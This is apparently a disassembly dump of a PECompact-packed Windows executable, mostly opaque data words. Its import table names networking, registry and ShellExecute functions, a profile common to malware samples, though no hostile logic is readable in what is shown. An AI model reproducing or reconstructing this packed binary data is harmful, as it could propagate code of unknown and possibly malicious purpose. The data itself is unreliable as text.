0CF91C8B0h dd 6E114F9h, 0FF1E4703h, 0B85FD4EBh, 7FE86A35h, 0E6788699h dd 72686893h, 6728B5F1h, 0B4E75C2Dh, 7FFDC853h, 0A9B5118Fh dd 0A76A6DFFh, 0F8D7979Fh, 0CFE9B92Ch, 0EEAFC995h, 5D5D9ADh dd 2D86E9E5h, 1B53D6CAh, 0D0FBD372h, 55E8DEF3h, 0CAC1C201h dd 2CC864E0h, 609FCB1Fh, 312CEA52h, 9283E13Bh, 655A5C84h dd 0BDF4BEE3h, 191C4C36h, 0EACE61B2h, 0E95F2D0h, 68CF470h dd 5A3ABEA8h, 0DA05B686h, 0E2C30AC4h, 294956C8h, 0B2C23EBCh dd 44F2D3DDh, 1A35DE49h, 0BA035823h, 4DB7CB09h, 7CF287C3h dd 22B9DB30h, 3193E41Ah, 83C35776h, 4879F931h, 0B4618F57h dd 6E77B130h, 2587C0A0h, 78F7AEBh, 67FD023h, 6DA63D27h dd 0CEB8AE95h, 4A443AAEh, 0F9D6AFDEh, 82A49ACBh, 4DD7C739h dd 49BBB8CDh, 0BC64AED6h, 8A8EB02Fh, 143FDB09h, 7C344CB8h dd 0D51A8713h, 1CB29D87h, 0CE910823h, 65B73EB0h, 317C1A05h dd 812388DDh, 943D1479h, 0B241353Ch, 9EDC06C0h, 0A610D668h dd 54836F95h, 75C7DC5Fh, 331BFAh, 0EF4F6E9Fh, 0A9BE809Dh dd 0D828D6C7h, 0B93DF661h, 99CBE86Eh, 80964C61h, 0E1C625E7h dd 0D42A493Bh, 0A15C0529h, 23B62658h, 0E92FF47Bh, 0D569461Bh dd 3D0D94Ah, 843D76ACh, 3F8B32BEh, 939E17Fh, 387FC3DFh dd 0C1A5E391h, 896DAD55h, 2976C0CAh, 0EB673DC7h, 606A33CDh dd 0E2310458h, 2761BE47h, 8137F585h, 0A7DBF5CCh, 0A019B162h dd 0EFC8A83Bh, 0E44011F3h, 6690F2A4h, 0B3D6FB47h, 99636318h dd 5304136h, 4DB0144Ah, 8EDE1894h, 0C1BBA6CEh, 2DE03AD8h dd 7C805245h, 0D1696CE6h, 8F80DBEBh, 8022F977h, 349D493h dd 8126AFE4h, 0C9E3742Dh, 5D462791h, 0A75140E6h, 0DF62F9D6h dd 69089AD6h, 2BFD1783h, 0F0A0B551h, 0CC540067h, 51760A5Eh dd 9217B2F7h, 0B083F425h, 0E123095Eh, 7785ABB7h, 0E818B7D0h dd 0A303DF82h, 6BF56541h, 0ED0F15FEh, 577399B8h, 0A9A76656h dd 83C28BB1h, 0B83849Ch, 0AB019992h, 4683576Ch, 0E2671ADDh dd 4C659B3Fh, 717D6D6Dh, 6B9BFE8Eh, 7A2D70D2h, 0E97A0617h dd 6B0081Fh, 0C3C0DEE8h, 32134590h, 74A3682Ch, 385757C4h dd 49724915h, 0EE27375Fh, 74174B58h, 57D3F591h, 0BA84D75h dd 0CFF08847h, 87A6AE48h, 9E1FEE40h, 680AFE87h, 4FDD0ABDh dd 92FC187Ch, 676B8C57h, 0F5C680C1h, 0A7F76CEAh, 0C0BE20EAh dd 320CA010h, 0D363400h, 0FDAB4B9Ah, 74924999h, 47C25D5Ch dd 0E762A300h, 4E9B836Eh, 2D0ABBA0h, 2C4E4B90h, 0F6C8BE7Bh dd 7F049DF4h, 3D009AB4h, 86F30E2Dh, 4A51EBBFh, 4F1D1527h dd 9B8A04B6h, 0ECFC5A06h, 0F3E8CCF3h, 0B73B196Dh, 0AE77E6FBh dd 414D8A30h, 0BB803422h, 0C45928ACh, 18484D3Bh, 0C1802234h dd 0E9D7000Ah, 0F65D3C7h, 0E45F2FD4h, 0E4C438F9h, 0FB0310Ch dd 8DAA9F9Ch, 0DCB4C790h, 0AD18B3EEh, 3D038F8h, 0A8C5A1h dd 0C87866Dh, 9A2AC441h, 82189B7Eh, 0B6900D35h, 0BEEF2D1Ch dd 895B548Ah, 0C54376DFh, 4A13CD84h, 0E482FA5Fh, 2BC0FB53h dd 85E1BEE9h, 0ABD97121h dd 36DED4E0h, 0A22A6DA7h, 0FBCDEDB0h, 0CE1713CDh, 0E837FE02h dd 161E17Bh, 0E9FAF7E1h, 905E1A29h, 0BF530077h, 6CC7048Ch dd 0D0444F20h, 5C397615h, 3E42D6C5h, 0D83509ADh, 0FCABB7B6h dd 0EA61FEE4h, 0B5654E26h, 6F1C7273h, 1814FC1Ah, 0C0AA5C42h dd 3618CE2Ah, 0B5DD381h, 3AA6770Eh, 57B3484Ch, 6CC80648h dd 504D8BE7h, 575ABF13h, 858A221Eh, 33555932h, 0B354EF7Ch dd 9A270FA5h, 368C502Eh, 0C03DB8ECh, 2F7A8809h, 60EF3059h dd 0DA96BFB4h, 5EAE891h, 0CCCD6A14h, 0DB048FA9h, 0F5CE6E1Ah dd 39642B42h, 0DF7D6598h, 0E5D1AD64h, 744FE033h, 436B7BDCh dd 0B45591D2h, 0F59F822Dh, 2C0B6F32h, 41DD2B6Fh, 12241D09h dd 0AF1CA60Fh, 3E400479h, 0A77A4725h, 4D22FE7Ch, 0FDC00D44h dd 65AF08D3h, 85975403h, 89F7F58Fh, 3C767674h, 0E3BF9BA7h dd 2F34715Ch, 3ABD8C6Eh, 2F184C35h, 8EA6397Eh, 5ED73AD6h dd 8E4DD92Eh, 84EE377Eh, 0E36D2C3Bh, 0BF70C722h, 8F3D90C4h dd 0A24B6047h, 41788D19h, 0A2979EF2h, 0F7DC588Fh, 79E8AA3Fh dd 5680FBB1h, 0DED305Ch, 7E308D7Dh, 0C54B3685h, 47B5A07Dh dd 387BB236h, 42537434h, 0EF396522h, 8F64E82Fh, 0A1900DB4h dd 0FC538C6h, 87C780ABh, 0F994F833h, 7C5404ABh, 596FD37Bh dd 0EB755D4Ch, 0AABACC76h, 0E7BE240Eh, 913E562h, 703DEF08h dd 867460EAh, 2DD44969h, 580A5E6Ah, 0C5F9151Bh, 0AF2245E2h dd 4218274Bh, 0C9B425ACh, 149EB324h, 6882327Eh, 0A72454C9h dd 0F061B048h, 2F360C44h, 0A7A0628Dh, 56974BA8h, 148034A8h dd 6DF568E6h, 0BEDB44D4h, 3B7402ECh, 97E4B4AAh, 52180A0Eh dd 0DADB801h, 0D703CAD9h, 12CC91A7h, 8BB69FDAh, 64FB1781h dd 0B09A4D3Ah, 2CC2B62Ch, 57F4902Fh, 0E7573792h, 0F30B18DAh dd 0CDD2A62Bh, 0F43792D4h, 85F6AC72h, 0FFF73EA3h, 8697A7D6h dd 482D877Eh, 734F3DF1h, 0F876990Dh, 79FB1C1Ch, 8C6386E9h dd 0C678516Ah, 39EE5300h, 0A6F008E6h, 4D95C32Ah, 55BB8C36h dd 0B2DE9A0Dh, 939E9741h, 0F0126715h, 2FF6BCC7h, 0A777D25Dh dd 0EF4749A3h, 4B279B90h, 0BA050902h, 0B14924EFh, 0F11EE5A7h dd 4B5AF38Ah, 0EC3553F5h, 0E67F011Fh, 0DDB4D4B0h, 5AACD54Dh dd 1613E7C4h, 3D7D689h, 263B57BFh, 0F49C700Eh, 0FB5885D5h dd 9E962A6Eh, 2DD3712Dh, 0ED3F1647h, 1403B8ADh, 804342DEh dd 0DA518909h, 4A806DC1h, 7105FB52h, 4279511Bh, 0D8DD35DDh dd 31425D3Ah, 86744BBAh, 4B0A8861h, 9485CDB3h, 9597F243h dd 0A175767h, 72B834E3h, 719B916Bh, 4845A62Dh, 77BAE27Ah dd 8A183CDh, 9896F465h, 0E8BC1F50h, 60A21946h, 1F3D8703h dd 81751229h, 6856A6E7h, 2889C0DAh, 6DCBE6A6h, 3B29D38Ah dd 1A732F3h, 47A86D3Bh, 0DB072AE6h, 0FB841C6Ch, 0EA50C74Ch dd 5416D340h, 94ADEF5Ah, 0FFD39BB8h, 3A7D7AFh, 0AA39DE31h dd 6C68E995h, 3608DFA1h, 0A2D5381h, 25AE4662h, 85958B2h dd 9E727144h, 26781ED2h, 0AC453DF1h, 0DF1BDD2Ch, 4AFE6193h dd 0E27F622Ch, 974963A1h, 0FB37644h, 7AD0CD40h, 29779A84h dd 3AC815A8h, 7D34E6B5h, 4777826h, 0FF4DEFC7h, 0B99E83A7h dd 3390BCF9h, 998BA051h, 6E18AD4Ah, 143ED3D5h, 0C219A852h dd 0B3DD9E1h, 2F433690h, 0AC91D782h, 3D2F80F0h, 4293EF76h dd 80111BA2h, 0C3F8EF9Ch, 0F7581D6Dh, 9FA7BE22h, 0B6787042h dd 0D6B1B89Dh, 0FEF5C352h, 0B394500Bh, 8DF162CEh, 2DF3BFA1h dd 28A70FB4h, 0F34460C1h, 0E6BCA330h, 0E758834Fh, 0C3FED2CDh dd 8C0998BCh, 0A6406E71h, 0D403ABDDh, 2B967B4Ah, 386B8919h dd 38339F7Fh, 0DB02171Ah, 0FFAF9CB4h, 25B03890h, 0F9DD8F7Dh dd 0C9A6D70h, 2CA3Bh, 2E0D279h, 640E70E1h, 4DA162B9h, 0CDABA416h dd 0B1B2978Dh, 55DEBA12h, 73AB3157h, 0D3970DE4h, 1031848Fh dd 0C60C3AC5h, 0B01B33B8h, 9887C99h, 0BDC12F40h, 1DAD35C7h dd 1942A3BBh, 89D646C6h, 50DE5A00h, 6E4DDAAFh, 9CFEC9CBh dd 0CD2B4DBEh, 9AAE781Ah, 543E1E22h, 0E621D168h, 633399BEh dd 78CD093Eh, 4A2F1D18h, 0C04E98FBh, 0D53C63FBh, 96292FECh dd 0F992EE16h, 0B7FAE810h, 570D64F5h, 0BBE28B2Eh, 0A3223EB8h dd 7AD9EC02h, 9B3E27EFh, 5FDB26F0h, 0B6E20F8h, 2C5F1551h dd 0CCE04CD9h, 5FA8EF04h, 93D37BFh, 912AA3D6h, 0C0E350CCh dd 0F4767A3Dh, 0DDF97C94h, 8A4319F3h, 35D44414h, 0F910CA89h dd 0EEC8AE80h, 85369C7h, 0DAB9F804h, 93E479E6h, 9BD404DDh dd 932482BCh, 0D2BE84F4h, 0A059B8D0h, 4DFFB724h, 0C60C7E12h dd 75A4CF8h, 475FE6C5h, 0A2BC3209h, 37E0AECBh, 77C88DDCh dd 0D942D71Ch, 0A6A74480h, 54F59981h, 0A467B99Dh, 516FB408h dd 5054B675h, 78F4D78Ah, 0B8B941C9h, 0DCDB143Dh, 0E6F34BF6h dd 0FB1892B1h, 0C5363393h, 37921DE1h, 7AD3BA13h, 9A0172AEh dd 0F80770F4h, 731EA37h, 184C97C2h, 59C0E70Fh, 0F3B32C97h dd 15376F46h, 0F91B384Fh, 45C0A055h, 87923859h, 1E840DAh dd 71BD753Dh, 4CE6C2BAh, 21C33AD3h, 61BE69F3h, 56ABD28Eh dd 0CE8E0BF6h, 7898B9EFh, 9FEA383Ah, 75316CF6h, 0B076B453h dd 0A05F3AC0h, 231E3B54h, 0DCFD0938h, 1FE9DC9Fh, 3182399Dh dd 86F0F29Ah, 0D988E510h, 6AAF93B2h, 928D1D6Bh, 0F67290C7h dd 8771CA03h, 0F3FA1A34h, 507B69FBh, 6358E4FFh, 0B0E06F12h dd 48F31EA9h, 5F0D496Ch, 6539993Bh, 0AC6E1C26h, 0B8495C09h dd 0FF3989E1h, 0D7D394D9h, 64BF37ECh, 9D2782FAh, 107D2DE0h dd 0EA0A7EEDh, 5EE6970h, 8D18BF78h, 0B3E16C4Ch, 0C426FCA6h dd 0A21D7FACh, 580AD29Fh, 43643807h, 0F0EF819Dh, 0C427BFD2h dd 4750227Eh, 0B01747F8h, 95561C48h, 5AF2EECCh, 846E6A89h dd 250D6866h, 0E3031598h, 0BCE624AAh, 0E87ED502h, 42775166h dd 62B0C819h, 0DD6D7745h, 10151B5h, 72D6F017h, 5D4DC8D7h dd 8262F44Ah, 8C9E5972h, 0E67AF112h, 0F26B5476h, 97C36EEFh dd 844423DCh, 0D548938Fh, 99687585h, 0CBB5809Dh, 0A3878464h dd 0C63E6642h, 105D6305h, 71146AB5h, 2B1F4F70h, 8753A027h dd 918D6D2h, 0F05F6FE1h, 4830834Dh, 98E31CD3h, 532385A0h dd 0DE3E94F8h, 51CCEEB6h, 43292530h, 5DE84999h, 0F5585E3Fh dd 0ED8D1548h, 159B6CB4h, 972CB51Fh, 0BEE30029h, 0F0C3DEF1h dd 40E95AECh, 1CC7CA6Bh, 20D57EA9h, 2B5E5497h, 61BD5F2Bh dd 78612C81h, 545594AEh, 1D802D2h, 0A7C1169Fh, 35F466A9h dd 0CDC571A6h, 0B6423D77h, 5F74DE82h, 0B583B699h, 0E356FEC4h dd 0D67C3F74h, 0F442E5B9h, 0BD21BC8h, 0F015BBB8h, 7F99A689h dd 0BBC1840Ch, 27E58729h, 0DF745748h, 116638BFh, 1B747E12h dd 1510BC88h, 32DAA341h, 0DD3A6AD8h, 7BCAABD9h, 0B09640A0h dd 2EC2E52h, 0FE45BF3Fh, 0C92CCC2Ah, 90294DD3h, 0BCF71204h dd 938F159Bh, 5A17524Ch, 5372975Bh, 6CA53320h, 0D85D7EB4h dd 0F88B82EBh, 38C3E250h, 0B2E22D7Fh, 35E58750h, 47ABAD8Bh dd 65E1B08Dh, 84F9D47h, 0E27273C7h, 30F9AE9Fh, 0E042574Fh dd 2553CF90h, 143A7CC0h, 0CFA0001h, 0FF06A05Ch, 0C5396159h dd 28A3FD1Bh, 0DE39903Ch, 0D81BC117h, 6FB04873h, 41F7BC3Dh dd 886557CCh, 2BFFA8FEh, 1F95B0FCh, 0F5E88AEEh, 2D800828h dd 0D187490Ch, 83D5338Ah, 0E93DEDCFh, 0EDA60CFFh, 94CD1820h dd 0B7E014E3h, 7EE0671Ch, 89278F45h, 87F59803h, 5E24A41Bh dd 8FE23055h dd 0CAC698E9h, 7E0A9E53h, 0ABF56316h, 0CCC67280h, 7A200676h dd 0DE9CF7A4h, 64084769h, 3408BC11h, 6B25228Fh, 0C2EF60D4h dd 2101098Ch, 2A580885h, 0F046180Ch, 98A79127h, 51337315h dd 0A4769D34h, 61ACB013h, 0FFEDDDFEh, 2C3FEE45h, 0C2136C2Bh dd 38AF3BA7h, 1824FF5Eh, 0FCDD21EBh, 6385CF07h, 0B0D96A38h dd 87442E21h, 0A4B6706Ch, 701C4D36h, 7821B90h, 56D990Ah dd 698477E8h, 0BD26A4C3h, 54A6FB84h, 0F0227B18h, 8CD67884h dd 1342D634h, 471EAE2Fh, 41B2EDF5h, 4CDF3645h, 0D9DAA112h dd 0DFC4E65Eh, 2466935Ah, 7070D888h, 28D76463h, 5411A320h dd 0A4E8E52Eh, 84262322h, 0C7F63F8Eh, 3A3DFDEAh, 535B8CE5h dd 42FFE9D5h, 60373E26h, 91609163h, 0A50364E1h, 0D767ECF5h dd 2D89681Dh, 0C1AB2BEDh, 5BD9E715h, 7E69E61h, 0BC312596h dd 0E20A5987h, 2335EED6h, 36916DA3h, 0E4089A96h, 0F2F4334Bh dd 0FF13CD4Fh, 25F4B308h, 1BE7F2E3h, 5EBFA786h, 1670771Fh dd 0F8D9484h, 96ABA82Ch, 867DD70Bh, 745E1236h, 5207F56Dh dd 93DBBF18h, 0D89547B8h, 0A083h, 38h dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 7Dh, 0D0h, 45h align 8 retn 0BFh ; --------------------------------------------------------------------------- align 4 dd 3 dup(1), 0D042h, 0D03Eh, 0D03Ch, 0D0460000h, 6D820000h dd 53570000h, 61745350h, 70757472h, 19CF00h, 3 dup(0) dd 0D18Ch, 0D19Ch, 0D1B0h, 0D1C0h, 0 dd 8000000Ch, 0 dd 800015E8h, 0 dd 0D1F4h, 0 dd 0D210h, 0 dd 0D230h, 0 dd 0D254h, 0 dd 0D274h, 0 dd 0D294h, 0 dd 0D060h, 0 dd 0FFFFFFFFh, 0D17Ch, 0D060h, 0D074h, 0 dd 0FFFFFFFFh, 0D1D0h, 0D074h, 0D07Ch, 0 dd 0FFFFFFFFh, 0D1DCh, 0D07Ch, 0D084h, 0 dd 0FFFFFFFFh, 0D1E8h, 0D084h, 0D08Ch, 0 dd 0FFFFFFFFh, 0D204h, 0D08Ch, 0D094h, 0 dd 0FFFFFFFFh, 0D224h, 0D094h, 0D09Ch, 0 dd 0FFFFFFFFh, 0D244h, 0D09Ch, 0D0A4h, 0 dd 0FFFFFFFFh, 0D268h, 0D0A4h, 0D0ACh, 0 dd 0FFFFFFFFh, 0D288h, 0D0ACh, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h dd 64644163h, 73736572h, 0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 69560000h, 61757472h dd 6572466Ch, 65h, 5F325357h, 642E3233h, 6C6Ch, 3443464Dh dd 4C442E32h, 4Ch, 4356534Dh, 642E5452h, 6C6Ch, 615F0000h dd 73756A64h, 64665F74h, 7669h, 52455355h, 642E3233h, 6C6Ch dd 72540000h, 6C736E61h, 4D657461h, 61737365h, 6567h, 33494447h dd 6C642E32h, 6Ch, 65470000h, 6F745374h, 624F6B63h, 7463656Ah dd 0 dd 41564441h, 32334950h, 6C6C642Eh, 0 dd 65520000h, 65704F67h, 79654B6Eh, 417845h, 0 dd 4C454853h, 2E32334Ch, 6C6C64h, 68530000h, 456C6C65h dd 75636578h, 416574h, 0 dd 33656C6Fh, 6C642E32h, 6Ch, 6F430000h, 61657243h, 75476574h dd 6469h, 0DF18B8h, 0FF645010h, 35h, 25896400h, 0 dd 889C033h, 6F434550h, 6361706Dh, 3274h, 48000C08h, 575601E1h dd 5C8B5553h, 0DB851C24h, 21AB840Fh, 0E60EBDE8h, 6B0B0D60h dd 6C6E7265h, 642E3233h, 0B8064414h, 0C08513FFh, 0F08B8F38h dd 86330CE8h, 6900ECE3h, 61757472h, 1865466Ch, 3E0453FFh dd 0FFC4D0A3h, 1B72E88Bh, 8733A341h, 636F6E15h, 248B581Ch dd 0C18F7C14h, 6A18A1F9h, 0FF481068h, 81F86036h, 33D00839h dd 50D88B3Fh, 57047654h, 468D0808h, 0C9D5420Fh, 50CB6F9h dd 0FF06180Dh, 53500E11h, 6002E6E8h, 5A28C483h, 8E67458h dd 33033A99h, 40825048h, 1D0D553h, 0EB582805h, 5F5B5D11h dd 8B94C25Eh, 0A042454h, 750A833Bh, 0C7754A75h, 89011042h dd 8AC3FF0Ch, 0C1FFB074h, 448B8941h, 0F2510824h, 0C4C742Ah dd 66838656h, 3E83D080h, 576008B0h, 0C1030689h, 6AFF084Eh dd 5F044605h, 1EB06074h, 2BBE856h, 0C4E8B59h, 0E1C1C0F2h dd 48390B08h, 2E4F6F86h, 0C3B8E875h, 0ECE7EC1Ch, 53453DB7h dd 0CF657A7Ch, 89C28FCFh, 3730575Eh, 747EAFA3h, 0D12E8931h dd 0DF3BEF24h, 1EC6EC72h, 832B063Ah, 0FF81014Dh, 81EC73F3h dd 56120FA6h, 69E8E7C1h, 59E34EA5h, 40DED90Bh, 0D24DD87Ch dd 5F728990h, 0D3721505h, 0C35D5B82h, 0B70F0494h, 0E1807C11h dd 460C9723h, 0C1F8A808h, 0AF0F0BEFh, 0D03EBFAh, 0D73B567Fh dd 0DF554073h, 80060166h, 0D0461C24h, 0FA2BACBFh, 305FFC1h dd 398966F8h, 3EEA3481h, 19678942h, 1C6605B6h, 0B9EBDAACh dd 2B42EB72h, 22DD59C7h, 1C16D79Bh, 0AD28F56h, 1BF43DD0h dd 5EAC1E0h, 0CC86C22Bh, 0FEFD0FCAh, 8313FD40h, 7FE04C7Dh dd 281F747Dh, 0C0E15028h, 1075FF10h, 3C9348Dh, 3AE850C6h dd 92228C7Eh, 294F12CEh, 42C8E28Bh, 340CFAFBh, 0DBC0E2D3h dd 0DB571453h, 0D898092Eh, 105839FFh, 8356277Eh, 0FF286508h dd 127618E7h, 12040238h, 0CFE84CFEh, 0E0D33014h, 723B471Ch dd 1BC7AE60h, 8B5F5EDBh, 77A15BC3h, 56DFCCA3h, 6C660C57h dd 8496D32Fh, 0BA253C3h, 886CD63Dh, 7C29A8C2h, 0C09096E2h dd 14BF4357h, 0D4761EB9h, 0CAFA9420h, 8765D00Ch, 0C144C3B2h dd 14907EEh, 92C3A0E0h, 48322F6h, 0DB977841h, 48051081h dd 0A6F03B28h, 0D17CAA1Dh, 2DBE1BEBh, 6F3422DEh, 3E765DC2h dd 68650494h, 0E53BD88Eh, 9BC38AC7h, 8C9A7590h, 10B2572Bh dd 46F65521h, 0F4F65445h, 0C921875h, 0B8D31DDDh, 6A068D04h dd 99DE7803h, 9C8A4121h, 2E66C0Ch, 10452C1Ch, 1E285C85h dd 983AA184h, 0B32B0233h, 14EB08C0h, 0ACAC496Ah, 4C68109h dd 169DB6D7h, 28F96C10h, 9D309F39h, 30E13220h, 1470F867h dd 0E7C2481Ch, 60C8D54h, 2077B857h, 62031A88h, 0FA84E82Dh dd 770C8102h, 5589CEE7h, 0F4F006FCh, 60DC12ECh, 36057440h dd 0DB323C07h, 39564A4Fh, 3006929h, 0E87D8988h, 873E42Eh dd 0E958026Ah, 37B4D3FFh, 0BD03A9FFh, 0D1C81276h, 90040490h dd 0FEE07475h, 0C913ABF3h, 830E0766h, 8D200CA0h, 1C0CD045h dd 0F8FCD6A1h, 0B120832Ch, 91148481h, 8657287Dh, 0E82677BAh dd 8384C023h, 0E07D89CEh, 850F18EEh, 51F41212h, 8DF813B6h dd 0BF51D04Dh, 3DF462Bh, 0C803042Fh, 0FD317A4Eh, 8459CCFBh dd 0F8894233h, 0E2331423h, 0C9024051h, 4D2A08B1h, 0D3C39E10h dd 248B7E8h, 3A58324h, 164058C2h, 7FF8309h, 70E6C19h, 7C80C736h dd 2B143221h, 8A2462FCh, 0C9880A0Ch, 97CE9226h, 0B71AA2B7h dd 5A3A1899h, 31FDE70Fh, 0BD8A005Ah, 8A048C7Ah, 882497D8h dd 97D081Ch, 910B90FCh, 2306E92Bh, 0D80B0AFFh, 0EFFC501Bh dd 0E9F8FB03h, 62101F6h, 0BED4F3EBh, 50DCA98Dh, 21807ED6h dd 0C83E188h, 0F87BA445h, 981CDFA5h, 8644AA03h, 15C15971h dd 0A2064875h, 0F47B124h, 0B0F003BDh, 30D13846h, 0DC554508h dd 0FA397C75h, 63B6840Fh, 0F0AA4389h, 0C09DC545h, 52080CBCh dd 1B098241h, 0A28A91F8h, 0C88D90CAh, 4F72E99Ah, 4312B0BFh dd 0C614C862h, 0EBF04E05h, 0F6C87B2Bh, 1BAE3BFBh, 0EBF41C94h dd 0EC108409h, 0CEDB7C89h, 19F01273h, 2110A0C2h, 824513CDh dd 6886377Dh, 0FD5B360Ah, 82A98AA3h, 8BAD2D91h, 1E8FBFD1h dd 0BFDE048h, 1226CDB6h, 9A84C6E9h, 73DFEC16h, 88A1A912h dd 1890DB43h, 540A2C5Eh, 8445018h, 4F070664h, 7CB504F8h dd 48945203h, 7D58B698h, 0ED88AE0Ah, 6A603FC0h, 0F8FBEC48h dd 7C509898h, 0E3344F5Ah, 0FE3CE01h, 49F9D101h, 28D302CBh dd 8D1D7D0Eh, 8552D055h, 1A31FCC2h, 4E68C82Bh, 0F156055Eh dd 2077140Dh, 0EBD80332h, 51FCC12Eh, 0FAA9E871h, 0A444FD28h dd 7FD86248h, 0B3B36A44h, 0C62E950Ah, 0D3EB142Bh, 5D43B6F0h dd 0B4C79B84h, 69367978h, 569487C2h, 273D77D5h, 0F9A41E83h dd 0C1029A43h, 8A4D402Bh, 0A402C187h, 40410A68h, 408912FFh dd 393B0574h, 2882AF5Eh, 93E6F072h, 820FF809h, 72CDFD46h dd 5C41305Ch, 5CF5EB2Ch, 5058C95Bh, 0EB851626h, 23190F6h dd 8AE90410h, 9570A78Ch, 8D06001h, 0CA8CCC64h, 0C98D0130h dd 0BC9BF408h, 6C01BB6h, 1A40F04h, 0D2522B31h, 3125011Ch dd 9C4BFC9h, 18AE8213h, 66813E02h, 19A1C862h, 99493606h dd 1C6DEBB9h, 0A0AAFC3h, 80F91C0h, 9E8014Ah, 5138D6F4h dd 0B70098D0h, 0E8AAF314h, 1EB6F4Ah, 6185325h, 5597B828h dd 815D10E8h, 9212D8EDh, 0DCCB58Dh, 0F49468Bh, 0C031900Fh dd 0DEF02B04h, 1DB1B056h, 1C768B80h, 0BD8DF203h, 0ABAD30C4h dd 487B3404h, 0DC6DF801h, 8B157401h, 0F6854473h, 7923B90Eh dd 0C8407B3Eh, 0FAEA3BF3h, 0B450A4F3h, 8E4B8F8Ch, 0B46F2F01h dd 2C511705h, 0E82A530Dh, 190E34Bh, 29B0858Bh, 1018C7B0h dd 1B60727h, 2C4E8B4Bh, 0CC0324C6h, 22708D89h, 6A35FC4Eh dd 0D651D740h, 0D609AC5h, 0BC858912h, 32E6DB25h, 2C1BC498h dd 381308B2h, 30289472h, 8161450Ch, 60024343h, 0C985344Eh dd 3D9A625Bh, 8033C62h, 6B0D3A51h, 0B5C402A3h, 958B7B74h dd 8DD8196Fh, 12440D73h, 0C40C8830h, 2DEBD2A2h, 8057C1F7h dd 81521E74h, 60CC44E1h, 567F4BC2h, 50319185h, 0FF1CCC0Eh dd 284E160Eh, 1D26E495h, 341A055h, 522C856Dh, 0D965C3Fh dd 421A066Ah, 4A851014h, 0E095BC1Ch, 359C0815h, 0A2848880h dd 35DE431Ch, 600C4375h, 4BFC7E02h, 0F703F140h, 0C5E906C6h dd 23042B05h, 4689E624h, 57BC3501h, 48242E8h, 0D624D64Fh dd 0C7031328h, 0DA498008h, 0B5870C45h, 270C92BCh, 28825109h dd 5B5F5E5Dh, 0B8FCC4DDh, 819001E8h, 0EB815B08h, 75C9148Fh dd 51CB030Eh, 850E93FFh, 0F6A72248h, 0D3470456h, 498EC1FBh dd 7402AFFBh, 6445216h, 0B1C3AFD5h, 0C844FC75h, 0AB0CDCABh dd 0C2835A03h, 0C6E4EB04h, 0C57506ACh, 991EC9AFh, 5A2A45E1h dd 479C7DF8h, 92435F80h, 0C33BD83Eh, 38775974h, 0F30352E9h dd 0C8B03C76h, 4AD82BD3h, 6881ADF8h, 73DAF8EBh, 8E983C8h dd 21E4250Eh, 0C766ED4Dh, 1BFB6645h, 66ADCF16h, 0A3D80410h dd 1E03FB7Dh, 81F88B84h, 7F493F0Dh, 0FB8A0FE7h, 3A0CE8C1h dd 0FFCDC9D8h, 4807019Bh, 4971F229h, 76B7EBD2h, 4A1F3F73h dd 0DC66C120h, 28278153h, 3075B0Ch, 0F4EB085Bh, 0F2190C23h dd 190829Fh, 351CE8FAh, 0E35423C4h, 0C4483C15h, 48C99302h dd 70A743Ch, 0B102EFEh, 0EB500AE0h, 5589B607h, 46B70FF8h dd 75A8A910h, 8A4C907Dh, 747708EEh, 0AB5831F1h, 0FC4A6C78h dd 36125E40h, 403C8012h, 0CF3BF8F4h, 4606347Dh, 1D0B60Fh dd 0E82CFC55h, 0FA063B2h, 0C8FE7448h, 1C75D78Ah, 0DD0382Ah dd 49CC2689h, 10C0081Dh, 60EC486h, 0E7EB9801h, 4CEBB0Ch dd 0EAC8EB41h, 5E249706h, 9246BC59h, 302A3B35h, 0B1422998h dd 0F167EA6h, 8A0188E9h, 0EB9DBA1Ah, 378E5117h, 0EC83C25Ch dd 8186602h, 1276FC4Ah, 59FE1652h, 91491C8Eh, 2FB04D56h dd 0E5DFD657h, 0A11FDFBEh, 0A2C16C8h, 4EBCA6E5h, 0ED43CDDEh dd 2618B294h, 0E04D7443h, 287D1C73h, 0EDF8084Bh, 0C1710B03h dd 0A5F302F9h, 28E1831Dh, 0FF914348h, 0FA16047Bh, 19D16FA4h dd 7C421B36h, 5AAACAABh, 323B60CEh, 2040563Dh, 0C3A6328Dh dd 40A2A275h, 6AA11FD1h, 479A9C17h, 6091B948h, 51F00E02h dd 8A915652h, 0C8A85317h, 0BFBB89D6h, 0C295EC7Dh, 6E161A83h dd 36C82B48h, 2F9921B2h, 7C205E13h, 164F6004h, 0E8CA9383h dd 0F40E4806h, 6F084952h, 54A922C4h, 708B8D0Fh, 30711E51h dd 0EC06D971h, 744012D3h, 92DDD441h, 291246B5h, 0FB6EC215h dd 68F369Fh, 285ACAEBh, 1B6B0B8Ch, 7D3BFA90h, 0EBF90E96h dd 0C589DA11h, 0C740F327h, 0CDF73005h, 0E02D35CDh, 0E38F392Bh dd 5E499C52h, 3916AED2h, 8400BDAh, 652AAD2Dh, 0E402D4Ah dd 9240190h, 0F1D73296h, 7339C05Dh, 9A841D43h, 247406F4h dd 1EA60803h, 843E85Fh, 1240C26h, 107E833Dh, 7B21FF85h dd 53515750h, 40B518E8h, 905377E1h, 15C64859h, 0E74096E9h dd 0AFC5EB14h, 8252D91Bh, 45198588h, 0D883890Ch, 967310C2h dd 0F6087112h, 0A0938B46h, 3F25F232h, 0BAD2E699h, 61CDA1B4h dd 4E677192h, 725C4EEBh, 242420E9h, 0D5C6E598h, 145507A7h dd 0D602D285h, 0E7EB0DE1h, 0C7F22A83h, 2C846044h, 4085A291h dd 22A95552h, 5F052509h, 6A20B4E0h, 3220EEBh, 87838C41h dd 51B0E395h, 22658740h, 5AB854A3h, 49C29D69h, 224A134h dd 0B0EBC45Bh, 0CD79159Eh, 0FC8DA4DAh, 5ED601B5h, 3033F33Ah dd 0C889F12Bh, 75C57DE0h, 3B1C19D0h, 0EBFC0C4Dh, 0A51536F3h dd 0FC742093h, 82902138h, 1AB008AFh, 0B53C4068h, 2E481448h dd 7C8D16C1h, 50FC0301h, 10500244h, 0C173A881h, 27478AACh dd 8D05E9A8h, 2C746822h, 0DA201288h, 0D2317521h, 0E5EB22Eh dd 3510CA8Ah, 30C42212h, 0FE07250Ch, 41C890A7h, 74071E70h dd 63696C10h, 6E6F7461h, 3D726520h, 54DCF81Eh, 0F1FF1F68h dd 63127033h, 25147564h, 7CF2F973h, 0F5BD6C7Dh, 746EE5D9h dd 0FB772062h, 